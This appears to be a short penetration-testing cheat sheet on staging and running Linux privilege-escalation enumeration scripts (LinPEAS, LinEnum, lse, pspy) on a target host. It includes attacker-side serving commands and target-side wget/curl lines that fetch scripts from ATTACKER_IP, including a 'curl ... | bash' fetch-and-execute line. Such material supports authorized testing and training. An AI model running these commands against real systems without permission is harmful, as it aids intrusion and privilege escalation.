LinPEAS / LinEnum

https://github.com/peass-ng/PEASS-ng/releases

# Direct download
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh

# Attacker
python3 -m http.server 80

# Target
wget http://ATTACKER_IP/linpeas.sh
curl http://ATTACKER_IP/linpeas.sh -o linpeas.sh

chmod +x linpeas.sh
./linpeas.sh

curl http://ATTACKER_IP/linpeas.sh | bash

./linpeas.sh | tee linpeas_output.txt

./linpeas.sh -s        # Superfast (only critical checks)
./linpeas.sh -a        # All checks (slower)
./linpeas.sh -e        # Extra enumeration (checks skipped by default; takes no path)
./linpeas.sh | tee linpeas.txt   # Save output to a file

https://github.com/rebootuser/LinEnum

wget http://ATTACKER_IP/LinEnum.sh

chmod +x LinEnum.sh
./LinEnum.sh

./LinEnum.sh -t

./LinEnum.sh -r report -e /tmp -t

https://github.com/diego-treitos/linux-smart-enumeration

wget http://ATTACKER_IP/lse.sh

chmod +x lse.sh

# Level 0 — Only important findings
./lse.sh

# Level 1 — Interesting info
./lse.sh -l 1

# Level 2 — Everything
./lse.sh -l 2

https://github.com/DominicBreuker/pspy/releases

# 64-bit
wget http://ATTACKER_IP/pspy64
# 32-bit
wget http://ATTACKER_IP/pspy32

chmod +x pspy64
./pspy64